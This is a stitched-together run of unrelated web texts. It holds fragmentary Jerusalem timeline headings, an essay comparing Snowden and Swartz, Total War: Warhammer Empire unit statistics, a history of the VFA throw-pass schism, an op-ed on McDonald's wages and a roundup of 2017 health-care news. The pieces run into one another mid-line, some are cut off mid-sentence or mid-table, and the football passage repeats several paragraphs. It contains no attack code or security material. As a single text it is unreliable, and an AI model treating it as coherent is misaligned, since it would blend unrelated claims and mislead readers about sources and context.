Hasmonean kingdom [ edit ]
Early Roman period [ edit ]
Extent of the Roman Empire under Augustus, 30BCE – 6AD
7–26 CE: Brief period of peace, relatively free of revolt and bloodshed in Judea and Galilee. [30]
28–30 CE: Three-year Ministry of Jesus, during which according to the bible a number of key events took place in Jerusalem, including:
30 CE: Key events in the martyrdom of Jesus which according to the bible took place in Jerusalem.
Late Roman period (Aelia Capitolina) [ edit ]
The Roman empire at its peak under Hadrian showing the location of the Roman legions deployed in 125 CE.
Expansion under Muhammad, 622–632 Expansion during the Rashidun Caliphate, 632–661 Expansion during the Umayyad Caliphate, 661–750 The expansion of the caliphate under the Umayyads.
An anachronistic map of the various de facto independent emirates after the Abbasids lost their military dominance (c. 950)
Fatimid Caliphate period [ edit ]
First Crusader Kingdom of Jerusalem (1099–1187) [ edit ]
Crusader states in 1180
A woodcut of Jerusalem in the Nuremberg Chronicle, 1493
Ayyubid period and Second Crusader Kingdom [ edit ]
The Crusader defeat at the Battle of Hattin leads to the end of the First Crusader Kingdom (1099–1187). During the Second Crusader Kingdom (1192–1291), the Crusaders can only gain a foothold in Jerusalem on a limited scale, twice through treaties (access rights in 1192 after the Treaty of Jaffa; partial control 1229–39 after the Treaty of Jaffa and Tell Ajul), and again for a last time between 1241 and 1244.[55]
Jerusalem under the Ayyubid dynasty after the death of Saladin, 1193
The Bahri Mamluk Dynasty 1250–1382
Bahri Mamluk and Burji Mamluk periods [ edit ]
1260: The Army of the Mongol Empire reaches Palestine for the first time:
Early Ottoman period [ edit ]
The Ottoman Empire in 1683, showing Jerusalem
Map of Jerusalem in 1883
"Independent" Vilayet of Jerusalem shown within Ottoman administrative divisions in the Levant after the reorganisation of 1887–88
Zones of French and British influence and control proposed in the Sykes-Picot Agreement
General Allenby enters Jerusalem on foot out of respect for the Holy City, 11 December 1917
Israeli period [ edit ]
1967 5–11 June: The Six-Day War.
6 June: The Battle of Ammunition Hill takes place in the northern part of Jordanian controlled East Jerusalem.
7 June: The Old City is captured by the Israel Defense Forces (IDF).
10 June: The Moroccan Quarter including 135 houses and the Al-Buraq mosque is demolished, creating a plaza in front of the Western Wall.
28 June: Israel declares Jerusalem unified and announces free access to holy sites of all religions.
Graphical overview of Jerusalem's historical periods [ edit ]
See also [ edit ]
References [ edit ]
Notes [ edit ]
Bibliography [ edit ]Since the 29-year-old intelligence contractor Edward Snowden outed himself as the source of the NSA leaks on Sunday, reporters and pundits—heck, even Snowden himself—have compared him with Bradley Manning, the Army private on trial for passing classified material about the Iraq and Afghanistan wars to Wikileaks. There’s obviously something to the comparison—both men were apparently dedicated enough to the cause of transparency to risk their lives for it. But, after reading the early biographical reporting about Snowden, I can’t help recalling another transparency activist in the news recently: Aaron Swartz, who committed suicide in January while awaiting trial for downloading millions of pages from JSTOR, the online database of academic articles.
Both Snowden and Swartz (and, for that matter Manning) were precociously talented computer programmers who were frustrated in classroom settings—neither completed high school or college—but easily assimilated knowledge on their own. Both had strong moral and idealistic streaks, along with (apparently) well-worked out, libertarian-ish, ideas about the proper relationship of government to its citizens. Both had high hopes for Barack Obama, but became disillusioned with his administration relatively quickly.
And yet both come off as basically liberal in their outlook, as opposed to anarchist or some other form of radical. Snowden told The Guardian there was a key difference between himself and Manning: "There are all sorts of documents that would have made a big impact that I didn't turn over, because harming people isn't my goal. Transparency is." (Manning observed no such restraints.) Swartz, according to several friends I interviewed for this profile, likewise believed that Wikileaks went too far in releasing information that could do more harm than good. He worried that the group had become an exercise in showmanship and preening.
Now, clearly, there are key differences between Snowden and Swartz. Even though Swartz was facing the prospect of decades in prison, the act that got him in trouble couldn’t have been more than a minor offense under any rational legal code. (JSTOR articles are available to anyone with access to a university or research library; JSTOR itself declined to pursue the case.) By contrast, it’s obvious that Snowden, whether you agree or disagree with his decision to distribute classified material, has undertaken something of enormous legal consequence.Empire units are specialized and require effective combined arms tactics to work to the fullest.
Legendary Lords [ edit | edit source ]
Unit Recruitment General Melee Ranged Defense
Karl Franz Cost (MP): 1200 (1300) Turns: 1 Upkeep: 300
Health: 3898 Leadership: 82 Speed: 35 Melee attack: 65 Melee defence: 30 Charge Bonus: 60 Damage Resist Missiles: 15
Weapon Damage: 160 Armor-Piercing Damage: 290 Melee Interval: 4 s Range 1 Armor : 75%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest) : This unit can hide in forests until enemy units get too close.
: This unit can hide in forests until enemy units get too close. Immune to Psychology: The unit is immune to psychological attacks (fear and terror).
Balthasar Gelt Cost (MP): 1000 (450) Turns: 1 Upkeep: 250
Health: 3350 Leadership: 65 Speed: Melee attack: 34 Melee defence: 38 Charge Bonus: 30 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Volkmar the Grim Cost (MP): 1100 (900) Turns: 1 Upkeep: 300
Health: 4664 Leadership: 80 Speed: Melee attack: 55 Melee defence: 40 Charge Bonus: 30 Damage Resist Magic: 25 Damage Resist Missiles: 15
Weapon Damage: 230 Armor-Piercing Damage: 150 Melee Interval: 4 s Range 1 Armor : 37.5%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Boris Todbringer Cost (MP): 1000 (1000) Turns: 1 Upkeep: 250
Health: 3890 Leadership: 70 Speed: Melee attack: 60 Melee defence: 50 Charge Bonus: 40 Damage Resist Missiles: 15
Weapon Damage: 290 Armor-Piercing Damage: 140 Melee Interval: 4 s Range 1 Shield: 55%
Armor : 63.75%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Unit Recruitment General Melee Ranged Defense
General of the Empire Cost (MP): 1000 (800) Turns: 1 Upkeep: 250
Health: 3690 Leadership: 70 Speed: Melee attack: 55 Melee defence: 45 Charge Bonus: 45 Damage Resist Missiles: 15
Weapon Damage: 290 Armor-Piercing Damage: 140 Melee Interval: 4 s Range 1 Shield: 35%
Armor : 63.75%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Arch Lector Cost (MP): 1200 (700) Turns: 1 Upkeep: 225
Health: 4060 Leadership: 75 Speed: Melee attack: 30 Melee defence: 55 Charge Bonus: 26 Damage Resist Missiles: 15
Weapon Damage: 266 Armor-Piercing Damage: 114 Melee Interval: 4 s Range 1 Armor : 71.25%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Unit Recruitment General Melee Ranged Defense
Empire Captain Cost (MP): 1000 (500) Turns: 1 Upkeep: 250
Health: 3680 Leadership: 65 Speed: Melee attack: 50 Melee defence: 40 Charge Bonus: 40 Damage Resist Missiles: 15
Weapon Damage: 250 Armor-Piercing Damage: 125 Melee Interval: 4 s Range 1 Armor : 63.75%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest) : This unit can hide in forests until enemy units get too close.
: This unit can hide in forests until enemy units get too close. Unbreakable: This unit does not suffer any form of leadership loss and will never rout.
Witch Hunter Cost (MP): 1000 (600) Turns: 1 Upkeep: 250
Health: 4776 Leadership: 65 Speed: Melee attack: 36 Melee defence: 34 Charge Bonus: 30 Ammunition 120 Damage Resist Magic: 25 Damage Resist Missiles: 15
Weapon Damage: 230 Armor-Piercing Damage: 100 Melee Interval: 4 s Range 1 All attacks count as magical. Weapon Damage: 33 Armor-Piercing Damage: 117 Projectiles per Attack: 1 Reload Time: 4 Range 90 Armor : 22.5%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest) : This unit can hide in forests until enemy units get too close.
: This unit can hide in forests until enemy units get too close. Unbreakable: This unit does not suffer any form of leadership loss and will never rout.
Warrior Priest Cost (MP): 1000 (300) Turns: 1 Upkeep: 250
Health: 3350 Leadership: 70 Speed: Melee attack: 45 Melee defence: 30 Charge Bonus: 30 Damage Resist Missiles: 15
Weapon Damage: 240 Armor-Piercing Damage: 120 Melee Interval: 4 s Range 1 Armor : 37.5%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Amber Wizard Cost (MP): 1100 (450) Turns: 1 Upkeep: 275
Health: 3832 Leadership: 55 Speed: Melee attack: 50 Melee defence: 13 Charge Bonus: 30 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Jade Wizard Cost (MP): 1000 (250) Turns: 1 Upkeep: 250
Health: 3412 Leadership: 55 Speed: Melee attack: 25 Melee defence: 30 Charge Bonus: 15 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Grey Wizard Cost (MP): 1000 (250) Turns: 1 Upkeep: 250
Health: 3412 Leadership: 55 Speed: Melee attack: 25 Melee defence: 30 Charge Bonus: 15 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Bright Wizard Cost (MP): 1000 (250) Turns: 1 Upkeep: 250
Health: 3130 Leadership: 55 Speed: Melee attack: 25 Melee defence: 30 Charge Bonus: 15 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Celestial Wizard Cost (MP): 1000 (250) Turns: 1 Upkeep: 250
Health: 3130 Leadership: 55 Speed: Melee attack: 25 Melee defence: 30 Charge Bonus: 15 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Light Wizard Cost (MP): 1000 (250) Turns: 1 Upkeep: 250
Health: 3130 Leadership: 55 Speed: Melee attack: 25 Melee defence: 30 Charge Bonus: 15 Damage Resist Missiles: 15
Weapon Damage: 210 Armor-Piercing Damage: 90 Melee Interval: 4 s Range 1 Armor : 15%
Encourage : This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses.
: This unit provides a leadership bonus to nearby allies. Units within range of both the Lord's aura and an encouraging unit will receive the larger of the two bonuses. Hide (forest): This unit can hide in forests until enemy units get too close.
Melee Infantry [ edit | edit source ]
Unit Recruitment General Melee Ranged Defense
Spearmen Cost (MP): 300 (300) Turns: 1 Upkeep |
otherwise growth of the VFA code after the war was minimal.
Between 1945 and 1949, the VFA continued to operate under throw-pass rules. Two notable rule changes were made in 1947: a free kick was introduced for "kicking in danger" – that is, kicking recklessly at the ball where there is a strong risk of kicking an opposing player in the process, even if no contact is made with the opposing player – and shepherding was banned in ruck contests.[126] The VFA continued to court country leagues in an attempt to spread its code, and to that end staged exhibition matches in country Victoria and small interstate markets from 1945 until 1947, which included games in Broken Hill,[127] Launceston,[128] Bendigo,[129] Hamilton,[130] Echuca,[131] Bairnsdale[132] and Mooroopna.[133] Games were not always supported by proponents of the ANFC code; the Tasmanian Australian National Football League, for example, petitioned the North Tasmanian Cricket Association not to stage its 1946 match between Williamstown and Coburg, fearing popularity could be gained by the rival code.[134]
Even though the Association code did not grow further, the VFA continued to enjoy local success. The VFA continued to draw the best crowds in its existence during the first few years after the war. A record home-and-away crowd of 21,000 was drawn to a June 1945 match between ladder-leaders Coburg and Williamstown.[135] The average crowd in 1947 was 4,200, almost double the crowds from ten years earlier.[136] Not all of this increase was attributed to the throw-pass rules: part is attributed to petrol rationing, which began during the war and continued until 1950, as it reduced the mobility of Melburnians, making it more difficult for suburban dwellers to attend VFL games or pursue other Saturday afternoon leisure activities.[137] Organisationally, by the end of the 1940s the Association employed a full-time secretary and managed a players provident fund, none of which existed prior to the throw-pass era.[138]
By 1949, sportswriters commented that positional play had reduced and more players were now following the ball, resulting in crowded play and less speedy open play, which was countering the original intent of the throw pass.[139] VFA crowds were beginning to wane, having dropped from 4,200 in 1947 to 3,380 in 1949,[140] and the VFA's rules were gaining no further penetration into minor markets, nor support from the ANFC leagues. Some VFA club delegates felt that the throw-pass had outlived its novelty, and was no longer serving as an effective drawcard for the VFA.[141]
The 1949 Grand Final on Saturday 1 October was the final senior VFA game played under throw-pass rules: Williamstown 10.5 (65) defeated Oakleigh 8.14 (62) at the St Kilda Cricket Ground before a crowd of 40,000.
Control structure during the schism [ edit ]
Having created a new code of football which was being adopted by other bodies, the VFA took on the role as the governing body and administrator for the throw-pass code. Leagues which adopted the rules split from their traditional governing bodies and entered affiliations with the VFA, paying an affiliation fee for the privilege.[56] The NWFA, for example, ended its affiliation with the North Western Football Union in 1938 to enter an affiliation with the VFA;[142] and competitions in country Victoria were forced to leave their governing body, the Victorian Country Football League, to affiliate directly with the VFA.[143] In September 1946, the VFA was registered as an incorporated company, and it obtained a copyright of its code of rules.[144]
Despite the schism between the VFL and VFA, the two bodies still had a working relationship and collaborated on areas of mutual interest. For example, since 1934 the VFL and VFA had jointly sponsored and managed the Victorian Football Union, which was the administrative body for junior and suburban football leagues within metropolitan Melbourne, including managing permit and clearance arrangements;[145] and the two bodies continued that arrangement despite the schism.[146]
With the VFA and VFL refusing to recognise each other's permits, playing under different codes of rules, actively promoting their own codes, and operating under different player payment structures, Australian rules football was enduring a schism analogous to the divide which existed for a century, and from an on-field perspective still exists, between the league and union codes of Rugby football.
Desire for united control [ edit ]
Even before the 1938 season began, the VFL, VFA and ANFC all recognised that operating under divided control and under substantially different codes of rules was not in the interests of Australian rules football as a whole. The lack of a united front made it difficult to effectively promote the game in New South Wales and Queensland – where rugby was more popular – or to defend Victoria from other football codes, particularly as the trafficking of players from one body by the other was undermining public opinion.[147] It was also recognised that unifying control by allowing the VFL to use its size and influence to push the VFA out of the market altogether was not in the interests of football, as the VFA served the functions of promoting football in Melbourne's outer suburbs, and in occupying those suburbs' best quality grounds to keep other sports from using them.[148] Even though it would almost certainly force it to give up the throw-pass which had driven its new popularity, the VFA was willing to negotiate towards a solution for unified control.[149]
The VFA and VFL began reunification discussions at the start of 1938,[150] and negotiations were ongoing throughout the schism – including during the World War II years when the VFA executive committee remained active in negotiation despite the competition being in recess onfield.
Proposals for united control [ edit ]
Early negotiations, and in particular the negotiations which took place from 1944 until 1945, focussed on a scheme under which the VFL and VFA would amalgamate into a single competition. The VFA stated on several occasions that it was prepared to "sink its identity" into the VFL if its clubs were given the opportunity to contest the Victorian senior premiership.[151] However, the two bodies never agreed to terms, with a number of sticking points preventing a compromise:
Competition structure: the initial structure put forward by the VFA for an amalgamated competition in 1938 would have seen the establishment of two tiered divisions, with VFA to commence as a second division, and with promotion and relegation between them, such that the second division's top two clubs replaced the first division's bottom two clubs, but the VFL rejected the scheme; [151] a 1940 scheme proposed likewise, with only one team promoted and relegated each year, but also proposing a further third division incorporating teams from other sub-district competitions. [152] In 1944, the VFL offered a similar scheme in which the second division's top two clubs played off for promotion against the first division's bottom two clubs; but by this stage, the VFA favoured a system of complete amalgamation into a single league with a single premiership. [153]
the initial structure put forward by the VFA for an amalgamated competition in 1938 would have seen the establishment of two tiered divisions, with VFA to commence as a second division, and with promotion and relegation between them, such that the second division's top two clubs replaced the first division's bottom two clubs, but the VFL rejected the scheme; a 1940 scheme proposed likewise, with only one team promoted and relegated each year, but also proposing a further third division incorporating teams from other sub-district competitions. In 1944, the VFL offered a similar scheme in which the second division's top two clubs played off for promotion against the first division's bottom two clubs; but by this stage, the VFA favoured a system of complete amalgamation into a single league with a single premiership. Zoning: a significant impediment to combining the competitions was the fact that VFL clubs had recruited players under a zoning/district scheme since 1915, whereas VFA clubs did not. Amalgamating the competitions would require significant re-alignment of zones to be agreed to by the VFL clubs; the VFL's zoning committee saw this as unachievable, particularly in places where VFA and VFL clubs were neighbouring, because VFL clubs had always been very protective of their zones. [152] In 1945, the VFL proposed an amalgamation in which the VFA would serve as the second eighteens competition for the VFL, which would have been workable within the existing zoning system; but the VFA was not willing to take on an amalgamation in which its clubs were not granted senior status. [154]
a significant impediment to combining the competitions was the fact that VFL clubs had recruited players under a zoning/district scheme since 1915, whereas VFA clubs did not. Amalgamating the competitions would require significant re-alignment of zones to be agreed to by the VFL clubs; the VFL's zoning committee saw this as unachievable, particularly in places where VFA and VFL clubs were neighbouring, because VFL clubs had always been very protective of their zones. In 1945, the VFL proposed an amalgamation in which the VFA would serve as the second eighteens competition for the VFL, which would have been workable within the existing zoning system; but the VFA was not willing to take on an amalgamation in which its clubs were not granted senior status. Grounds standard: most VFA grounds were well short of VFL standard, and unless there were significant and expensive upgrades by all of the councils in VFA territory, this would be a serious impediment for any VFA club promoted to the top division. [155]
most VFA grounds were well short of VFL standard, and unless there were significant and expensive upgrades by all of the councils in VFA territory, this would be a serious impediment for any VFA club promoted to the top division. Financial considerations: the smaller VFA clubs had weaker financial means and lower fanbases than the VFL clubs. VFL clubs were concerned that an amalgamation would weaken their own financial position, by reducing gate takings at matches played against a former VFA opponent, and by spreading more thinly the league's annual dividends [149] – indeed, this was a major motivation for the VFL's original secession from the VFA in 1897.
the smaller VFA clubs had weaker financial means and lower fanbases than the VFL clubs. VFL clubs were concerned that an amalgamation would weaken their own financial position, by reducing gate takings at matches played against a former VFA opponent, and by spreading more thinly the league's annual dividends – indeed, this was a major motivation for the VFL's original secession from the VFA in 1897. Rules: the VFA was keen to incorporate as many of its own rules into an amalgamated competition, but the VFL was bound by its affiliation with the ANFC to play under the national rules.[149]
Although at times the VFL and VFA executive committees made progress on negotiations, both bodies required constitutional changes to be ratified by a vote of their club delegates; even if the committees had agreed to an amalgamation, there is no guarantee that the clubs would have voted in favour.[155]
As an alternative to amalgamation, it was thought that a new single control council could be established to manage football in Victoria, which would answerable to the ANFC and which would comprise delegates from the VFL and VFA as well as schools and junior competitions.[156] Another proposal, investigated in 1940, saw a VFL zoning sub-committee investigate a scheme to admit four to six of the VFA's twelve clubs; this scheme was reminiscent of the VFL's 1925 expansion, which would have seen the VFL admit the VFA's strongest clubs, leaving only the VFA's weaker clubs playing under the throw-pass code, which would have halted the new code's growth and possibly killed off the VFA altogether.[157] Nothing came of either scheme.
Control in Tasmania [ edit ]
Although the Association's rules were played only by very small leagues in Tasmania after the war, they were still important in off-field control discussions during the late 1940s. Tasmania was represented on the ANFC by Hobart's Tasmanian Australian National Football League; but Launceston's Northern Tasmanian Football Association and the coastal North Western Football Union, which were leagues of similar standard, were dissatisfied with football being controlled from Hobart, and they sought to establish a statewide council to provide them with equal representation in control of football in Tasmania.[158] The fact that the NTFA and NWFU had a feasible option of switching their affiliation to the VFA, underpinned by the fact that the throw-pass code had enjoyed pre-war success in the NWFA, was used by the two greater northern leagues leverage when negotiating with the TANFL for united control in the late 1940s.[159] The northern leagues were ultimately unsuccessful in establishing a council, and did not follow through with their threat; the TANFL continued to serve as Tasmania's sole voice on the ANFC, although its relationship with the NTFA and NWFU improved in the early 1950s.[160]
Resolution [ edit ]
Efforts to reunite control stagnated for a few years after 1945, but they were reinvigorated in 1948 by the ANFC. The ANFC had a revived enthusiasm for spreading Australian rules football to other parts of Australia and the world, as it saw a strong opportunity at that time to promote the game in the United States of America.[161] The ANFC and many of its delegates considered it very important that the VFL–VFA schism be ended and the control of football be unified to achieve these aims. ANFC president Walter Stooke called in 1948 upon the old adage that "a house divided against itself is easiest upset" when describing the importance of reunification.[162]
One of the overarching aims of the VFA throughout its negotiation was that it wanted to be represented in the control and administration of the game, and it had rejected solutions under which the VFL retained unilateral control in Victoria.[163] Under the new proposals put forward in 1948, the ANFC offered to grant the VFA a position on the ANFC executive. This new solution would force the VFA to adopt the national rules and permit reciprocity agreements, but would give the VFA the powers of control it desired, and allow it to remain independent from the VFL.
The proposal was first put forward to the VFA in late 1948, and although it was initially rejected – largely because the VFA wanted a full voting position on the council, which was not offered[164] – it began to herald the end of the schism. In March 1949, the VFA and VFL signed a new clearance reciprocity agreement, ending eleven seasons of player trafficking;[165] and by the end of the season, both the VFA and VFL had agreed to lift any active suspensions which players had received for switching codes without a clearance.[166] The ANFC and VFA continued to negotiate an affiliation agreement through the season, which included the ANFC offering the VFA a period of temporary trial affiliation to encourage it to join.[167] Finally, on 8 August, the VFA agreed to affiliate with the ANFC, with the motion succeeding by a vote of 18–7 at the VFA Board of Management.[166] Under the terms of the affiliation:
The VFA received a seat on the council, which had full rights except that it could not vote on council matters. The Association delegate had full rights to raise motions and put forward its views relating to other motions – privileges which were not enjoyed by any other affiliated non-voting member of the ANFC.
that it could not vote on council matters. The Association delegate had full rights to raise motions and put forward its views relating to other motions – privileges which were not enjoyed by any other affiliated non-voting member of the ANFC. The VFA would need to abandon its own rules, including the throw-pass, and play under ANFC rules.
The VFA would be beholden to the ANFC's reciprocal transfer agreements with interstate leagues.
The VFA could send a representative team to play in interstate carnivals and other sanctioned interstate games, meaning that Victoria would be represented by separate VFL and VFA teams in these interstate competitions.
The VFA would share the benefits of ANFC programs such as advertising, development programs, etc.
As it had no vote, the VFA was not initially required to pay a levy to the ANFC.
The VFA began its affiliation and began playing under ANFC rules from the 1950 season, bringing an end to the schism. It began paying levies and contributing to ANFC funds from 1951. It still wanted a full voting position on the ANFC, but it could not initially be granted due to a stipulation in the ANFC constitution that no state could have more than one vote;[166] it began agitating for the necessary change to the constitution,[168] and was finally granted the vote in July 1953.[169] This gave the VFA a formal say in the control and administration of Australian football at the national level, and made Victoria the only state represented by two delegates on the council.
Aftermath [ edit ]
After taking on the national rules, support of the VFA declined steadily throughout the 1950s. Although the VFA had always been of a lower standard than the VFL, the throw-pass had given it a notable point of distinction which it could use to attract fans in spite of that; without that, the VFA was firmly viewed as Victoria's second-rate competition. At the same time, the end of petrol rationing in 1950 and increased affordability of motor cars during the 1950s freed up suburban dwellers for other activities, or to attend VFL matches, on Saturday afternoons, and the introduction of television to Australia in the late 1950s affected attendances at the social nights which were vital for VFA clubs' finances at the time.[137] Within only a few years, weak clubs such as Northcote, Camberwell and Brighton struggled to the point of being unable to pay their players;[170] even a club like Williamstown, which had strong community links and won five premierships in six years between 1954 and 1959, saw its adult membership drop from 1562 to only 416 between 1950 and 1960. It was not until the 1960s, when the VFA expanded into the growing outer suburbs and began playing games on Sundays that it began to re-establish itself as a competitive part of Melbourne's football culture.[144]
In 1951, as crowds dropped, the VFA tried to reintroduce the throw-pass rule. It put a motion to the ANFC to either change the national rules to allow throwing the ball, or to allow it as a "domestic rule", i.e. a rule which was permitted within the national rules, but on which individual leagues had discretion.[172] The motion was rejected by a 7–1 majority, with only Tasmania supporting it and the VFA not yet having the right to vote.[173] Some VFA clubs wanted to break away from the ANFC to allow the throw-pass to be reintroduced, but this never gained majority support.[140]
The VFA remained affiliated with the ANFC until March 1970. Its relationship with the ANFC began to strain in 1965, when the VFA stopped recognising its 1949 permit reciprocity agreement with the VFL.[174] Clearance disputes, particularly related to transfer fees, between the VFA and VFL persisted over the next five years,[175] before finally the VFA was expelled in 1970 for refusing to submit to an ANFC ultimatum to establish and recognise a new permit agreement.[176] It did not re-introduce the throw-pass after its expulsion from the ANFC.
See also [ edit ]Last week, McDonald’s announced its earnings and profit numbers for the first quarter of 2016. The company reported $5.9 billion in gross sales and $1.1 billion in net income—a 35 percent increase from the first quarter of 2015.
So what’s behind McDonald’s recent success?
Some chalked the spike up to the fast-food chain’s decision to finally serve its popular breakfast menu items all day. But McDonald’s CEO Steve Easterbrook pointed to another factor: Higher employee wages.
Last year, McDonald’s corporate management announced their intent to slowly raise wages and improve employee benefits at corporate-owned restaurants. These changes are obviously great for McDonald’s employees, but according to Easterbrook, they’ve helped the company’s bottom line as well.
Easterbrook pointed to lower employee turnover and higher customer satisfaction scores over the past year as evidence that the wage raise is helping to boost corporate profits. But with the wage increases scheduled to hit $10 an hour by the end of 2016, Easterbrook should realize that raising pay so that all of his employees are earning a fair return on their work – and pressuring franchisees to do the same – will yield even better results.
Now, we shouldn’t give McDonald’s corporate executives too much credit. Their decision to increase wages came in direct response to pressure from the men and women who have been standing up and fighting for $15. Each wage increase from a large retailer or fast-food company and each ballot measure and law in cities and states around the country begets another one. And as the recent McDonald’s data shows, the decision has been a win-win for both employees and management.
Raising wages to the $15 goal called for by working people would also reduce the burden that everyday Americans and our communities currently bear to fill the gaps that McDonald’s low pay leaves for employees. Right now, taxpayers shell out more than $1.2 billion each year in public assistance for McDonald’s employees who can’t make ends meet on their pay alone. And while this isn’t a problem limited just to the burger giant, the way that the largest fast-food chain in the world does business has ripple effects across the entire economy.
If companies like McDonald’s can’t see past their profit margins and don’t recognize the value in making sure the men and women who work for them to afford the basics, they should no longer be allowed to pass the buck onto the rest of us. That’s the genesis behind a number of campaigns driven by communities who are demanding that large, profitable corporations to chip in to fund the public programs their employees rely on. Working people are holding these companies accountable and ensuring they pay their fair share through legislation like the Corporate Responsibility Act in Colorado, the Low Wage Employer Fee in Connecticut and the Responsible Business Act in Cook County, Illinois.
McDonald’s own CEO has admitted that raising wages boosts his company’s performance. The question is how long must the people whose work pays for his $1.3 million annual salary have to wait to see a share of the company’s profits?
It took far too long for the company to listen to the calls for it to move to an all-day breakfast menu. If McDonald’s doesn’t move fast enough to pay its employees fairly, there are plenty of communities who will force the issue for them – either by levying a fee or raising the minimum wage.Trump Promises Protections For Preexisting Conditions That May Not Be Delivered By GOP Bill
The president spoke Sunday about the hot-button topic, saying he "mandated" that coverage for preexisting conditions will be in the Republican health care bill. But while the current version of the proposed legislation says "access" is guaranteed for people with preexisting conditions, it is silent on a key point: whether such access must be affordable.
The New York Times: Pushing For Vote On Health Care Bill, Trump Seems Unclear On Its Details
After two false starts on President Trump’s promise to repeal the Affordable Care Act, Trump administration officials are pressing the House to vote on a revised version of the Republican repeal bill this week, perhaps as soon as Wednesday, administration officials said. And on Sunday, Mr. Trump insisted that the Republican health legislation would not allow discrimination against people with pre-existing medical conditions, an assertion contradicted by numerous health policy experts as well as the American Medical Association. (Pear, 5/1)
CNN: Trump: GOP Health Care Bill 'Guarantees' Coverage For Pre-Existing Conditions
President Donald Trump says the Republican plan to repeal and replace the Affordable Care Act "guarantees" coverage for Americans with pre-existing conditions -- a claim that could undercut the legislation the White House is currently pushing on Capitol Hill. (Bradner, 4/30)
USA Today: Trump Dominates The 101st Day With Tweets, Tough Talk About Health Care
Trump maintained there is yet another version of the American Health Care Act, House Republicans' plan to replace the Affordable Care Act, and blamed obstruction by Democrats for Congress' failure to pass the legislation before his 100th day in Congress, although Republicans control both chambers of Congress. Trump also maintained that "preexisting conditions are in the bill. I mandated it." Coverage with people with existing medical conditions has to be included, he continued, because "Obamacare is dead." (O'Donnell, 4/30)
The Wall Street Journal: Trump Issues Health ‘Guarantee,’ Sidesteps Affordability Concerns
